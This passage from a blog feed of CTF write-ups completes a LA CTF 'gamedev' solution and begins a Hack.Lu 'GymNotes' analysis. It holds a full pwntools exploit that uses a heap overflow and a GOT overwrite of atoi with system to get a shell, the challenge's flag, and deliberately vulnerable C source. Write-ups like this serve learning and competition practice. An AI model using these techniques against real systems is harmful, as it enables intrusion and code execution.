<p>So, how are we going to exploit this? Well, the plan is to use our heap overflow to overwrite a stored <code class="language-plaintext highlighter-rouge">Level</code> address to be a function’s GOT address. We’ll use <code class="language-plaintext highlighter-rouge">atoi</code>. We’ll use the <code class="language-plaintext highlighter-rouge">test_level</code> functionality to print out <code class="language-plaintext highlighter-rouge">atoi@got</code> for a libc leak. And then, we’ll use our edit functionality to overwrite <code class="language-plaintext highlighter-rouge">atoi</code> to be something like <code class="language-plaintext highlighter-rouge">system</code>, performing a GOT overwrite.</p>

<p>Let’s get started. First, we’ll create our linked list layout. We start at tier one where we’ll create three levels. Then, we’ll “explore” to the second level where we’ll create two more levels at this second tier. After we do all this you can see below what the heap layout looks like.</p>

<p><img src="gamedev_layout.png" alt="" /></p>

<p>You can see how the blue arrows represent our first “tier” of levels and the lime green represents the second “tier”. What will become important are the pointers to the second “tier” levels stored in chunk/level 2 on the first tier. I’ve labeled those pointers with green arrows. Additionally I include a blue arrow pointing from the initial chunk/level to the second chunk/level just for some more visualization. I wrote some helper python functions which basically interact with the menu so here’s how I used them to set up the aforementioned layout.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1"># Tier 1
</span><span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>

<span class="c1"># Branch to tier 2
</span><span class="n">explore</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>

<span class="c1"># Back to tier 1
</span><span class="n">reset</span><span class="p">()</span>
</code></pre></div></div>

<p>So now that we’ve got our layout set up lets use the <code class="language-plaintext highlighter-rouge">reset</code> function to go back to the first tier. From here, we’ll explore to level one and use the overflow to overwrite into the level pointers stored in level 2 on the first tier. We’ll send in 40 <code class="language-plaintext highlighter-rouge">a</code>’s, <code class="language-plaintext highlighter-rouge">0x71</code> to preserve the next size of the chunk, eight <code class="language-plaintext highlighter-rouge">c</code>’s to pad out the zero level index, and then a pointer to <code class="language-plaintext highlighter-rouge">atoi@got</code> - <code class="language-plaintext highlighter-rouge">0x40</code>. With this we are essentially forging the first level at tier two to be <code class="language-plaintext highlighter-rouge">atoi@got</code> - <code class="language-plaintext highlighter-rouge">0x40</code>. We have to include the minus <code class="language-plaintext highlighter-rouge">0x40</code> because when we eventually “explore” to this level, the program doesn’t know this isn’t a valid next pointer and it will attempt to increment it by <code class="language-plaintext highlighter-rouge">0x40</code>. This is because it is technically the second item in the list (if you index at zero which I didn’t). You can see the code here in <code class="language-plaintext highlighter-rouge">explore</code>.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">curr</span> <span class="o">=</span> <span class="n">curr</span><span class="o">-&gt;</span><span class="n">next</span><span class="p">[</span><span class="n">idx</span><span class="p">];</span>
</code></pre></div></div>
<p>Here is the heap layout once we perform that overwrite.</p>

<p><img src="gamedev_overwrite_step1.png" alt="" /></p>

<p>Now let’s reset to tier one, then explore to the second level in tier one, and then explore to the first level which we have corrupted to be <code class="language-plaintext highlighter-rouge">atoi@got</code> - <code class="language-plaintext highlighter-rouge">0x40</code>. Then we can call
<code class="language-plaintext highlighter-rouge">test_level</code> to print out <code class="language-plaintext highlighter-rouge">atoi@got</code> which will be a libc leak. The python code to get this far can be seen below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">reset</span><span class="p">()</span>
<span class="n">explore</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">explore</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>

<span class="n">test_level</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Level data: '</span><span class="p">)</span>

<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()[</span><span class="mi">0</span><span class="p">:</span><span class="mi">6</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'atoi'</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
</code></pre></div></div>

<p>Finally we can just call <code class="language-plaintext highlighter-rouge">edit_level</code> which will edit the current level which we have corrupted to be <code class="language-plaintext highlighter-rouge">atoi@got</code>. We’ll overwrite this with <code class="language-plaintext highlighter-rouge">system</code> and we’ll pop a shell! The final bit of code can be seen below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">final</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span>
<span class="p">])</span>
<span class="n">edit</span><span class="p">(</span><span class="n">final</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div></div>

<p>Side note… I tried one gadgets as well as multiple different GOT overwrites and none of them worked. <code class="language-plaintext highlighter-rouge">atoi</code> had the least impact on the program and after bashing my head I thought to myself “Why not just use system?”. Evidently one gadgets are not always the answer, who knew?</p>

<p>Super fun challenge and full exploit script is below.</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">'tmux'</span><span class="p">,</span> <span class="s">'split-window'</span><span class="p">,</span> <span class="s">'-h'</span><span class="p">]</span>
<span class="n">elf</span> <span class="o">=</span> <span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"chall_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="sa">b</span><span class="s">'libc.so.6'</span><span class="p">)</span>
<span class="c1">#p = elf.process()
</span><span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"chall.lac.tf"</span><span class="p">,</span> <span class="mi">31338</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">create</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">index</span> <span class="o">=</span> <span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">).</span><span class="n">encode</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'1'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">index</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">data</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'2'</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">data</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">test_level</span><span class="p">():</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"3"</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">explore</span><span class="p">(</span><span class="n">idx</span><span class="p">):</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"4"</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">idx</span><span class="p">).</span><span class="n">encode</span><span class="p">())</span>

<span class="k">def</span> <span class="nf">reset</span><span class="p">():</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">'5'</span><span class="p">)</span>

<span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvline</span><span class="p">()</span>
<span class="n">leak</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">leak</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">': '</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">decode</span><span class="p">(),</span> <span class="mi">16</span><span class="p">)</span>
<span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">leak</span> <span class="o">-</span> <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">]</span>

<span class="c1"># Tier 1
</span><span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">3</span><span class="p">)</span>

<span class="c1"># Branch 2
</span><span class="n">explore</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">create</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>

<span class="c1"># back to tier 1
</span><span class="n">reset</span><span class="p">()</span>
<span class="n">explore</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">got_atoi</span> <span class="o">=</span> <span class="n">elf</span><span class="p">.</span><span class="n">got</span><span class="p">.</span><span class="n">atoi</span> <span class="o">-</span> <span class="mh">0x40</span>
<span class="n">payload</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="s">'b'</span> <span class="o">*</span> <span class="mi">40</span><span class="p">,</span>
    <span class="n">p64</span><span class="p">(</span><span class="mh">0x71</span><span class="p">),</span>
    <span class="sa">b</span><span class="s">'c'</span> <span class="o">*</span> <span class="mi">8</span><span class="p">,</span>
    <span class="n">got_atoi</span>
<span class="p">])</span>
<span class="n">edit</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>

<span class="n">reset</span><span class="p">()</span>
<span class="n">explore</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">explore</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
<span class="n">test_level</span><span class="p">()</span>
<span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">'Level data: '</span><span class="p">)</span>

<span class="n">libc_leak</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">recv</span><span class="p">()[</span><span class="mi">0</span><span class="p">:</span><span class="mi">6</span><span class="p">].</span><span class="n">ljust</span><span class="p">(</span><span class="mi">8</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">))</span>

<span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_leak</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'atoi'</span><span class="p">]</span>
<span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">address</span><span class="p">))</span>
<span class="n">final</span> <span class="o">=</span> <span class="n">flat</span><span class="p">([</span>
    <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">]</span>
<span class="p">])</span>
<span class="n">edit</span><span class="p">(</span><span class="n">final</span><span class="p">)</span>
<span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="c1"># lactf{ro9u3_LIk3_No7_R34LlY_RO9U3_H34P_LIK3_nO7_r34llY_H34P}
</span></code></pre></div></div>
<p>Had a lot of fun playing this CTF, looking forward to next year!</p>]]></content><author><name>Gabriel Samide</name><email>your-email@email.com</email></author><category term="pwn" /><category term="lactf" /><summary type="html"><![CDATA[Another year, another LA CTF. As per usual this CTF was quite fun to play and I enjoyed it quite a bit. Also, my teammates went sicko mode and we got 10th, so all in a weekend’s work I suppose. Below are write-ups for minecraft and gamedev, both fun challenges.]]></summary></entry><entry><title type="html">Hack.Lu CTF 2024 - GymNotes</title><link href="https://gabri3l.net/2024-HackLU-CTF-GymNotes/" rel="alternate" type="text/html" title="Hack.Lu CTF 2024 - GymNotes" /><published>2024-10-20T00:00:00+07:00</published><updated>2024-10-20T00:00:00+07:00</updated><id>https://gabri3l.net/2024-HackLU-CTF-GymNotes</id><content type="html" xml:base="https://gabri3l.net/2024-HackLU-CTF-GymNotes/"><![CDATA[<p>Nothing like staying up until 3am solving CTF challenges am I right? HackLu CTF put on by FluxFingers was a really cool CTF and I managed to solve GymNotes. Below are
my ramblings.</p>

<h1 id="gymnotes--54-solves">GymNotes | 54 Solves</h1>
<blockquote>
  <blockquote>
    <p>Hey Pentester! We hired a professional developer to code our app GymNotes and we were interested in you checking whether it has vulnerabilites or not. It should be hard to find a bug, since our developer has contributed to xz for a long time.</p>
  </blockquote>
</blockquote>

<p>At first I thought this was going to be exploiting an <code class="language-plaintext highlighter-rouge">xz</code> vulnerability, but no, just a funny joke. We’re given a zip file to download which contains the <code class="language-plaintext highlighter-rouge">gym_notes</code> program, source, a Makefile, and a Dockerfile.</p>

<p>Running <code class="language-plaintext highlighter-rouge">checksec</code> we can see that we are dealing with full protections. 
<img src="checksec.png" alt="" /></p>

<p>Let’s have a look at the source. At first glance it looks like your typical notes challenge, but with some interesting stuff going on.</p>

<p>First, we’ve got some global variables defined that’ll be relevant later.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#define MAX_NOTE_SIZE 1000
</span>
<span class="k">struct</span> <span class="n">Note</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="n">data</span><span class="p">[</span><span class="n">MAX_NOTE_SIZE</span><span class="p">];</span>
<span class="p">};</span>

<span class="k">struct</span> <span class="n">Note</span> <span class="o">*</span><span class="n">notes</span><span class="p">;</span>
<span class="k">static</span> <span class="kt">short</span> <span class="n">lastNoteIndex</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</code></pre></div></div>

<p>Looks like we’ve got a maximum size defined for our notes, a struct to store them, and another struct to store the pointers to those notes, along with a way to index those notes.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">showNote</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Choose a note u want to inspect </span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">lastNoteIndex</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="kt">short</span> <span class="n">option</span><span class="p">;</span>
  <span class="n">scanf</span><span class="p">(</span><span class="s">"%hd"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">option</span><span class="p">);</span>
  <span class="n">getchar</span><span class="p">();</span>


  <span class="n">option</span><span class="o">++</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">option</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">option</span> <span class="o">&gt;</span> <span class="n">lastNoteIndex</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Note not found..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Note consists of: %s</span><span class="se">\n\n</span><span class="s">"</span><span class="p">,</span> <span class="n">notes</span><span class="p">[</span><span class="n">option</span><span class="p">].</span><span class="n">data</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>The first function, <code class="language-plaintext highlighter-rouge">showNote()</code>, pretty much does exactly that. It allows us to specify a note index, does some checks on our input, then will index the <code class="language-plaintext highlighter-rouge">notes</code> struct and show us our note. Next, we’ll look at the <code class="language-plaintext highlighter-rouge">addNote()</code> function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">addNote</span><span class="p">()</span> <span class="p">{</span>
  <span class="kt">char</span> <span class="o">*</span><span class="n">line</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">short</span> <span class="n">nread</span><span class="p">;</span>

  <span class="k">if</span><span class="p">(</span><span class="n">lastNoteIndex</span> <span class="o">&gt;</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Max notes reached.."</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Write a note (max. %d characters)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">nread</span> <span class="o">=</span> <span class="n">getline</span><span class="p">(</span><span class="o">&amp;</span><span class="n">line</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>

  <span class="k">if</span><span class="p">(</span><span class="n">nread</span> <span class="o">&gt;=</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Too many characters, adding note failed..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">lastNoteIndex</span><span class="o">++</span><span class="p">;</span>
  <span class="n">notes</span> <span class="o">=</span> <span class="n">realloc</span><span class="p">(</span><span class="n">notes</span><span class="p">,</span> <span class="p">(</span><span class="n">lastNoteIndex</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">Note</span><span class="p">));</span>
  <span class="n">strcpy</span><span class="p">(</span><span class="n">notes</span><span class="p">[</span><span class="n">lastNoteIndex</span><span class="p">].</span><span class="n">data</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Note added!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We check if we have exceeded 1000 notes, then our input is taken in with <code class="language-plaintext highlighter-rouge">getline()</code>. If we send in too much we get yelled at, and then if not, <code class="language-plaintext highlighter-rouge">realloc</code> is called 
to resize the initial heap chunk (can see this in <code class="language-plaintext highlighter-rouge">main()</code> later), and finally our input is copied into the notes struct. See if you can spot the vuln…</p>

<p>The <code class="language-plaintext highlighter-rouge">editNote()</code> function is pretty much the same, it just lets us edit a note at a given index.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="nf">editNote</span><span class="p">()</span> <span class="p">{</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Choose a note u want to edit</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="kt">short</span> <span class="n">option</span><span class="p">;</span>
  <span class="n">scanf</span><span class="p">(</span><span class="s">"%hd"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">option</span><span class="p">);</span>
  <span class="n">getchar</span><span class="p">();</span>

  <span class="n">option</span><span class="o">++</span><span class="p">;</span>
  <span class="k">if</span><span class="p">(</span><span class="n">option</span> <span class="o">&lt;</span> <span class="mi">0</span> <span class="o">||</span> <span class="n">option</span> <span class="o">&gt;</span> <span class="n">lastNoteIndex</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Note not found..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"What would u like to replace it with?</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

  <span class="kt">char</span> <span class="o">*</span><span class="n">line</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
  <span class="kt">size_t</span> <span class="n">len</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
  <span class="kt">short</span> <span class="n">nread</span><span class="p">;</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Write a note (max. %d characters)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="n">nread</span> <span class="o">=</span> <span class="n">getline</span><span class="p">(</span><span class="o">&amp;</span><span class="n">line</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">len</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>

  <span class="k">if</span><span class="p">(</span><span class="n">nread</span> <span class="o">&gt;=</span> <span class="n">MAX_NOTE_SIZE</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Too many characters, adding note failed..</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="k">return</span><span class="p">;</span>
  <span class="p">}</span>

  <span class="n">strcpy</span><span class="p">(</span><span class="n">notes</span><span class="p">[</span><span class="n">option</span><span class="p">].</span><span class="n">data</span><span class="p">,</span> <span class="n">line</span><span class="p">);</span>
  <span class="n">printf</span><span class="p">(</span><span class="s">"Note edited!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>We’ll skip the <code class="language-plaintext highlighter-rouge">delNote()</code> function for now, but lets have a look at this goofy thing.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">void</span> <span class="p">(</span><span class="o">**</span><span class="n">optionFuncs</span><span class="p">)();</span>
<span class="kt">int</span> <span class="n">optionFuncsSize</span><span class="p">;</span>
<span class="kt">void</span> <span class="nf">allowFunctionsExec</span><span class="p">(</span><span class="kt">int</span> <span class="n">callFromMain</span><span class="p">,</span> <span class="kt">int</span> <span class="n">mode</span><span class="p">)</span> <span class="p">{</span>
  <span class="k">if</span><span class="p">(</span><span class="n">mode</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">mprotect</span><span class="p">(</span><span class="n">optionFuncs</span><span class="p">,</span> <span class="n">optionFuncsSize</span><span class="p">,</span> <span class="n">PROT_READ</span> <span class="o">|</span> <span class="n">PROT_WRITE</span> <span class="o">|</span> <span class="n">PROT_EXEC</span><span class="p">)</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
      <span class="n">perror</span><span class="p">(</span><span class="s">"mprotect"</span><span class="p">);</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
    <span class="p">}</span>
    <span class="k">else</span> <span class="p">{</span>
      <span class="n">printf</span><span class="p">(</span><span class="s">"mprotect at 0x%lx..</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span> <span class="n">optionFuncs</span><span class="p">);</span>
      <span class="k">return</span><span class="p">;</span>
    <span class="p">}</span>

    <span class="k">if</span><span class="p">(</span><span class="n">mode</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">||</span> <span class="o">!</span><span class="n">callFromMain</span><span class="p">)</span>
      <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To start, it looks like we’ve got some function pointers defined. The function, <code class="language-plaintext highlighter-rouge">allowFunctionsExec</code>, will check to see if the <code class="language-plaintext highlighter-rouge">mode</code> variable is even, and if it is, will <code class="language-plaintext highlighter-rouge">mprotect</code> the region occupied by the <code class="language-plaintext highlighter-rouge">optionFuncs</code> function pointers. Crucially, it will make it executable. We also get an info leak to see where this location is within the program. Interesting…</p>

<p>Let’s look at the main function.</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="kt">char</span> <span class="o">*</span><span class="n">argv</span><span class="p">[])</span> <span class="p">{</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">,</span> <span class="n">_IONBF</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
  <span class="n">notes</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="k">sizeof</span><span class="p">(</span><span class="k">struct</span> <span class="n">Note</span><span class="p">));</span>
  <span class="n">strcpy</span><span class="p">(</span><span class="n">notes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">data</span><span class="p">,</span> <span class="s">"Example Note</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>

 <span class="n">optionFuncsSize</span> <span class="o">=</span> <span class="n">sysconf</span><span class="p">(</span><span class="n">_SC_PAGESIZE</span><span class="p">);</span>
  <span class="k">if</span> <span class="p">(</span><span class="n">posix_memalign</span><span class="p">((</span><span class="kt">void</span><span class="o">**</span><span class="p">)</span><span class="o">&amp;</span><span class="n">optionFuncs</span><span class="p">,</span> <span class="n">optionFuncsSize</span><span class="p">,</span> <span class="n">optionFuncsSize</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">fprintf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="s">"Memory allocation failed</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">exit</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
  <span class="p">}</span>

  <span class="n">optionFuncs</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">showNote</span><span class="p">;</span>
  <span class="n">optionFuncs</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">addNote</span><span class="p">;</span>
  <span class="n">optionFuncs</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="n">delNote</span><span class="p">;</span>
  <span class="n">optionFuncs</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="n">editNote</span><span class="p">;</span>

  <span class="n">allowFunctionsExec</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">);</span>

  <span class="n">printf</span><span class="p">(</span><span class="s">"Welcome to GymNotes!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
  <span class="kt">short</span> <span class="n">option</span><span class="p">;</span>
  <span class="k">while</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"1. Show Note</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"2. Add Note</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"3. Delete Note</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"4. Edit Note</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"&gt; </span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
    <span class="c1">//fflush(stdout);</span>

    <span class="n">scanf</span><span class="p">(</span><span class="s">"%hd"</span><span class="p">,</span> <span class="o">&amp;</span><span class="n">option</span><span class="p">);</span>
    <span class="n">getchar</span><span class="p">();</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">option</span> <span class="o">&gt;=</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">option</span> <span class="o">&lt;=</span> <span class="mi">4</span><span class="p">)</span> <span class="p">{</span>
      <span class="p">(</span><span class="o">*</span><span class="n">optionFuncs</span><span class="p">[</span><span class="n">option</span> <span class="o">-</span> <span class="mi">1</span><span class="p">])();</span>
